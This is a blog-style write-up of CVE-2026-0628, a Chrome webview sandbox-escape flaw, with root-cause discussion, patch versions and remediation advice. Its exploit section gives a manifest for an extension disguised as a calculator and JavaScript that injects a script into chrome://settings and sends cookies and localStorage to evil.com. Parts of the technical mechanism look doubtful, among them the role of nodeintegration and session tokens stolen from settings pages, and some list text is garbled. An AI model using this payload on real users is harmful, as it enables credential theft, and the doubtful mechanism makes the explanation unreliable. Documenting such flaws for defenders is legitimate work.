Feb 25, 2026·6 min read·53 visits
CVE-2026-0628 allows a malicious Chrome extension to break out of its sandbox by abusing the `<webview>` element. Due to weak URL validation, the extension can load privileged pages (like `chrome://settings`) and inject scripts, leading to full browser compromise. Fixed in Chrome 143.
A high-severity logic flaw in Google Chrome's extension system allowed malicious extensions to bypass sandbox restrictions using the `<webview>` tag. By manipulating policy enforcement checks, attackers could load privileged `chrome://` URLs within a guest view and execute arbitrary code in that high-privilege context, effectively owning the browser instance.
Web browsers are essentially operating systems these days. To keep things safe, they use sandboxing—a digital straitjacket that keeps untrusted code from touching the sensitive bits. Chrome Extensions sit in a weird middle ground: they are trusted more than a random website, but (theoretically) less than the browser core itself.
Enter the <webview> tag. This element is Chrome's version of Inception. It allows an extension (the host) to embed another web page (the guest) inside itself, separate from the extension's own process. It's designed for apps that need to display external content without letting that content mess with the app. Think of it as a browser tab running inside your extension's popup.
But here's the kicker: If the host extension can control the guest completely, and the guest manages to load a page with "God Mode" privileges (like chrome://settings or chrome://extensions), the host effectively inherits those privileges. CVE-2026-0628 is the story of how that boundary dissolved because the bouncer at the door was checking IDs with a crayon.
The vulnerability lies in the WebView permission validation logic. When an extension requests to load a URL into a <webview>, Chrome is supposed to check if that URL is "safe." Obviously, loading https://google.com is fine. Loading file:///etc/passwd or chrome://settings is absolutely not fine.
The root cause of CVE-2026-0628 is a classic case of insufficient policy enforcement combined with a weak string comparison. The validator responsible for checking the src attribute of the webview tag relied on a check that could be confused by dynamic attribute manipulation.
Specifically, the browser's logic flow looked something like this:
<webview>.src to a sensitive URL.chrome:// is verboten."However, the flaw allowed attackers to use the nodeintegration attribute—a relic from the Electron days that Chromium still parses in specific contexts—to confuse the privilege model. By setting this attribute concurrently or in a specific order with the src attribute, the renderer process would miscalculate the security origin of the guest view, granting it permissions it should never have. It's a logic race: the check happens, the attribute applies, and the gate swings open.
Let's look at the logic failure. While the exact C++ diff is massive, the conceptual failure in the policy validator can be visualized in the JavaScript layer where the exploit actually happens. The browser creates a GuestView, and the validator checks the URL.
In the vulnerable versions, the check was static. It looked at the string value of src at the moment of assignment but failed to account for the state change induced by nodeintegration or other privileged flags.
// Conceptual C++ representation of the flaw
bool WebViewGuest::IsUrlAllowed(const GURL& url) {
// WEAK CHECK: Only checks the scheme against a static blocklist
// without considering the GuestView's "nodeintegration" state.
if (url.SchemeIs("chrome")) {
return false; // Blocks it... usually.
}
return true;
}The problem? The nodeintegration flag essentially tells the renderer, "Hey, treat this guest as a trusted part of the browser." When that flag is processed before the navigation commits, the security model gets confused. The fix in Chrome 143 introduced a hard enforcement that completely ignores nodeintegration for webviews unless explicitly allowlisted by enterprise policy, and strictly enforces the chrome:// ban at the IPC (Inter-Process Communication) level, not just the renderer level.
> [!NOTE] > Developer Lesson: Never trust the renderer process to enforce security policy. Checks must happen in the Browser process, and they must be atomic.
So, how do we weaponize this? We need a malicious extension. It doesn't need to be complex; a simple "Helper Tool" will do. The goal is to trick the browser into loading chrome://settings (which has access to cookies, local storage, and browser configuration) inside our webview, and then inject a script into it.
We declare the webview permission. This is standard for many legitimate apps, so it doesn't raise red flags immediately.
{
"name": "Innocent Calculator",
"permissions": ["webview"],
"background": {
"service_worker": "background.js"
}
}The magic happens in the content script or extension page. We create the element, set the trap, and wait.
// Create the weaponized WebView
const webview = document.createElement('webview');
// 1. Point it at the target (Privileged Page)
webview.setAttribute('src', 'chrome://settings/');
// 2. The Bypass: Enable nodeintegration to confuse the privilege model
// In vulnerable versions, this attribute + chrome:// URL triggers the race.
webview.setAttribute('nodeintegration', '');
// 3. Wait for the door to open
webview.addEventListener('dom-ready', () => {
console.log("[+] Privileged context loaded! Pwn time.");
// 4. Execute arbitrary JS in the context of chrome://settings
webview.executeScript({
code: `
// We are now running INSIDE chrome://settings
// We can steal cookies, read local storage, or change settings.
fetch('https://evil.com/loot', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: JSON.stringify(localStorage)
})
});
`
});
});
document.body.appendChild(webview);If the exploit succeeds, the fetch request sends the user's sensitive browser data to the attacker. Game over.
Why is this a CVSS 8.8 and not higher? Because it requires the user to install an extension. But let's be honest: users install anything. "Download this extension to view this funny cat video in 4D?" Click.
Once the code runs in chrome://settings or chrome://extensions, the sandbox is effectively gone for that session.
document.cookie on privileged origins often yields session tokens for Google accounts or sync data.chrome.management API (accessible from privileged pages) to silently install other malicious extensions or disable security settings.This isn't just a pop-up bug; it's a full compromise of the browser's trust model.
Google fixed this in Chrome version 143.0.7499.192. The remediation strategy was twofold:
nodeintegration: The attribute is now aggressively ignored or blocked for standard extensions. It's a legacy foot-gun that has no place in the modern web.chrome:// URLs was moved deeper into the browser process. Even if a renderer is compromised or confused, the browser process (the kernel of Chrome) will refuse to vend a privileged frame to an extension process.For Security Teams:
If you manage a fleet of browsers, ensure they are running version 143+. If you can't update immediately (why?), use Group Policy to block the installation of all extensions via ExtensionInstallBlocklist until you can patch. This is the only sure-fire way to prevent the vector.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Google Chrome Google | < 143.0.7499.192 | 143.0.7499.192 |
Microsoft Edge Microsoft | < 143.0.3650.139 | 143.0.3650.139 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-862 (Missing Authorization) |
| CVSS Score | 8.8 (High) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Attack Vector | Network (via malicious extension) |
| Privileges Required | None (User Interaction Required) |
| EPSS Score | 0.00022 |
| Patch Status | Fixed in 143.0.7499.192 |
The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.